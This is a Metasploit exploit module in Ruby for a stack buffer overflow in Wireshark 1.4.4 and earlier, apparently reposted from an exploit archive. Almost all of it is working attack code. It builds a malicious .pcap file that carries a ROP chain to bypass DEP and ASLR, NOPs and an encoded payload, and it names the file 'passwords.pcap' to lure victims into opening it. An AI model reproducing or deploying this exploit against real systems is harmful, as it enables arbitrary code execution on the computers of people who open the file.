Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow

##
# $Id: wireshark_packet_dect.rb 12364 2011-04-19 07:53:58Z sinn3r $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
 
    include Msf::Exploit::FILEFORMAT
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in Wireshark <= 1.4.4
                When opening a malicious .pcap file in Wireshark, a stack buffer occurs,
                resulting in arbitrary code execution.
                This exploit bypasses DEP & ASLR and works on XP, Vista & Windows 7.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'sickness',     #found the vulnerabilitiy
                    'corelanc0d3r'  #rop exploit + msf module
                ],
            'Version'        => '$Revision: 12364 $',
            'References'     =>
                [
                    [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5838' ],
                    [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5836' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/17185' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'       => 936,
                    'DisableNops' => 'True',
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ '32-bit Windows Universal (Generic DEP & ASLR Bypass)',
                        {
                            'OffSet' => 1243,
                            'Ret'    => 0x667c484d, #libgnutl pivot - tx Lincoln
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Apr 18 2011',
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('FILENAME', [ true, 'pcap file',  'passwords.pcap']),
            ], self.class)
    end
     
    def junk
        return rand_text(4).unpack("L")[0].to_i
    end
 
    def exploit
 
        print_status("Creating '#{datastore['FILENAME']}' file ...")
 
        global_header = "\xd4\xc3\xb2\xa1"      # magic_number
        global_header << "\x02\x00"             # major version
        global_header << "\x04\x00"             # minor version
        global_header << "\x00\x00\x00\x00"     # GMT to local correction
        global_header << "\x00\x00\x00\x00"     # accuracy
        global_header << "\xff\x7f\x00\x00"     # snaplen
        global_header << "\x01\x00\x00\x00"     # data link type
 
        packet_header = "\x26\x32\xac\x4d"      #timestamp seconds
        packet_header << "\xda\xfa\x00\x08"     #timestamp microseconds
        packet_header << "\x04\x06\x00\x00"     #nr of octets of packet in file
        packet_header << "\x04\x06\x00\x00"     #actual size of packet (1540)
 
        ptype = "\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x23\x23"
 
        print_status("Preparing payload")
 
        pivot = [target.ret].pack('V')
 
        # pvefindaddr rop 'n roll
        # tx dadr00p (https://twitter.com/dietersar) for testing the offsets below
        rop_pivot =
        [
            0x618d7d0e,     # RET      
            0x618d7d0e,     # RET      
            0x618d7d0e,     # RET      
            0x64f9d5ec,     # ADD ESP,0C # RET - libfontconfig-1.dll
            0x618d7d0e,     # RET <- don't count on this one !
            0x618d7d0e,     # RET
            0x618d7d0e,     # RET
            0x618d7d0e,     # RET
            0x61C14268,     # ADD ESP,24 # RETN - freetype6.dll
            0xFFFFFFFF,     # crash baby !
            0xFFFFFFFF,
            0xFFFFFFFF,
            0xFFFFFFFF,
            0xFFFFFFFF,
            0x618d7d0e,
            0x618d7d0e,
            0x618d7d0e,
            0x618d7d0e,
        ].pack("V*")
 
        rop_gadgets =
        [
     
            0x6d7155cb,     # PUSH ESP # POP EBX # POP EBP # RETN  **[libpangoft2-1.0-0.dll]
            junk,
            0x6d596e31,     # MOV EAX,EBX # POP EBX # POP EBP # RETN  **[libgio-2.0-0.dll]
            junk,
            junk,
            0x61c14552,     # POP EBX # RETN    ** [freetype6.dll]
            0x00000800,     # size - 0x800 should be more than enough
            0x61c14043,     # POP ESI # RETN    ** [freetype6.dll] 
            0x0000009C,
            0x6d58321a,     # ADD EAX,ESI # POP ESI # POP EBP # RETN    **[libgio-2.0-0.dll]
            junk,
            junk,
            0x68610a27,     # XCHG EAX,EBP # RETN    ** [libglib-2.0-0.dll]
            0x629445a6,     # POP EAX # RETN    ** [libatk-1.0-0.dll]
            0x62d9027c,     #
            0x6c385913,     # MOV EAX,DWORD PTR DS:[EAX] # ADD CL,CL # RETN  ** [libgdk-win32-2.0-0.dll]
            0x617bc526,     # XCHG EAX,ESI # ADD AL,10 # ADD CL,CL # RETN    ** [libgtk-win32-2.0-0.dll]
            0x64f8c692,     # POP EDX # RETN    ** [libfontconfig-1.dll]
            0x00000040,     #
            0x619638db,     # POP ECX # RETN    ** [libgtk-win32-2.0-0.dll]
            0x6536B010,     # RW
            0x618d7d0d,     # POP EDI # RETN    ** [libgtk-win32-2.0-0.dll]
            0x618d7d0e,     # RET
            0x64fa0c15,     # POP EAX # RETN    ** [libfontconfig-1.dll]
            0x618d7d0e,     # RET
            0x61963fdb,     # PUSHAD # RETN     ** [libgtk-win32-2.0-0.dll]
        ].pack("V*")
 
        pivot = [target.ret].pack('V')
 
        buffer = rand_text(131)
        buffer << rop_pivot
        buffer << rop_gadgets
 
        nops = make_nops(target['OffSet'] - (buffer.length) - (payload.encoded.length))
 
        buffer << nops
        buffer << payload.encoded
        buffer << pivot
 
        filler = 1540 - buffer.length
 
        buffer << rand_text(filler)
 
        filecontent = global_header
        filecontent << packet_header
        filecontent << ptype
        filecontent << buffer
 
        print_status("Writing payload to file, " + filecontent.length.to_s()+" bytes")
 
        file_create(filecontent)
    end
end



#  0day.today [2018-01-01]  #